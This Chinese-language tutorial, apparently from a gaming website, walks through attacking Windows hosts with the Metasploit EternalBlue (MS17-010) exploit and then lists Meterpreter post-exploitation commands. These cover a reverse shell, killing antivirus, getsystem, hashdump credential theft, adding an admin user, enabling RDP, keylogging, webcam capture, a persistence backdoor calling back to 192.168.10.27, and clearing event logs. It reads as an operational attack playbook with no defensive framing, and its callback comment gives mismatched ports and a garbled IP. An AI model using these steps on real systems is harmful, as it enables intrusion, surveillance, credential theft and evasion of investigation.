看扫描结果 我内网连的主机少 结果前面如果是 ,说明这台主机存在漏洞
之后就可以使用漏洞利用模块了 输入命令 输入info查看漏洞信息
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > info
查看payloads 命令:show payloads
可以看到很多payload 自己根据当时情况使用哪个payload 想用哪个用哪个
设置payload 然后查看参数
RHOSTS 设置要攻击的主机IP ;LHOSTS 设置自己的IP 用于接收反弹回来的shell,默认4444端口监听 然后exploit开始攻击
接下来就不演示了 说一下exploit攻击成功后的渗透的相关命令
1.运行了exploit命令之后,就开启了一个reverse TCP监听器来监听本地的 4444 端口,攻击者的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,然后我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
想要从meterpreter退到msf:background
输入命令: sessions -l 查看我们获得的shell
输入命令:sysinfo 查看攻击目标主机的相关信息
查看攻击目标主机是否在虚拟机上面运行:run post/windows/gather/checkvm
关闭目标主机上运行的*毒软件:run killav
获取目标主机详细信息并保存到本地:run scraper
关于文件的命令:
cd:切换目标目录;
cat:读取文件内容;
rm:删除文件;
edit:使用vim编辑文件
ls:获取当前目录下的文件;
mkdir:新建目录;
rmdir:删除目录
关于上传文件和下载文件:
upload file 向目标主机上传文件
download file 在目标主机下载文件
2.关于提高权限
1.输入命令:getsystem 帮助我们提高权限(提示错误,但已经成功提权)
2.命令:getuid 获取当前用户信息(查看是什么权限)
3.获取目标主机用户名密码
1.run windows/gather/credentials/windows_autologin 抓取自动登录用户的用户名和登录密码
2.run hashdump hashdump模块从SAM数据库导出本地用户(得到的密码哈希值可用 Jhon the Ripper来破解密码)
4.关于目标主机里的程序
1.run post/windows/gather/enum_applications 查看目标主机安装的应用程序
2.execute 此命令可在目标系统中执行相关应用程序
execute 参数 -f 可执行文件
可选参数:
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i: 跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程
screenshot 目标主机屏幕截图 图片会保存到/root目录下
5.创建新本地用户
1.run post/windows/gather/enum_logged_on_users 查看当前主机已存在的用户
2.run getgui -u username -p password 添加一个用户为username,密码为password的用户,然后添加到Administrators组中(如果添加失败,可以使用之前execute命令运行cmd窗口手动将用户添加到Administrators组中)
6.关于远程桌面
首先确保目标主机开启了远程桌面功能
1.idletime 先检查主机远程用户的空闲时长
2.run getgui -e
3.run post/windows/manage/enable_rdp 以上两个命令都可开启目标主机远程桌面功能
7.关于记录键盘
1.keyscan_start:开启键盘记录功能
2.keyscan_dump:显示捕捉到的键盘记录信息
3.keyscan_stop:停止键盘记录功能
8.关于绑定进程实现meterpreter持久化
ps 查看目标设备中运行的进程
getpid 查看我们当前运行的进程id
migrate 命令来绑定目标进程id(后面跟要绑定进程的id即可)
run post/windows/manage/migrate 此命令会自动寻找合适的教=进程然后换绑定进程
9.关于目标主机的摄像头
webcam_list 获取目标主机的摄像头列表
webcam_snap 从指定的摄像头拍摄照片
webcam_stream 从指定的摄像头开启视频
10.关于留后门
如果目标主机关机,meterpreter建立的连接就会断开
所以我们可以在目标主机系统内留下一个持续性的后门,只要目标主机开机,我们就可以连接到该主机
通过添加服务到注册表 之后只要开机就会自动启动并连接
run persistence -X -i 8 -p 6666 -r 192.168.10.27 #反弹时间间隔是8s 会自动连接192.168.27的4444端口,缺点是容易被*毒软件查*
#运行之后它就在目标机新建了这个文件:
C:\Windows\TEMP\CJzhFlNOWa.vbs 代表把该服务加入了注册表中,只要开机就会启动
添加之后的连接就是在6666端口进行监听
11.最后清除事件日志(拍拍屁股走人,要拍干净才能走哦)
之前我们做的所有操作都会被记录在攻击的目标主机的系统日志文件之中,所以我们需要在完成攻击之后清除掉事件日志
clearev 清除事件日志
Copyright © 2024 妖气游戏网 www.17u1u.com All Rights Reserved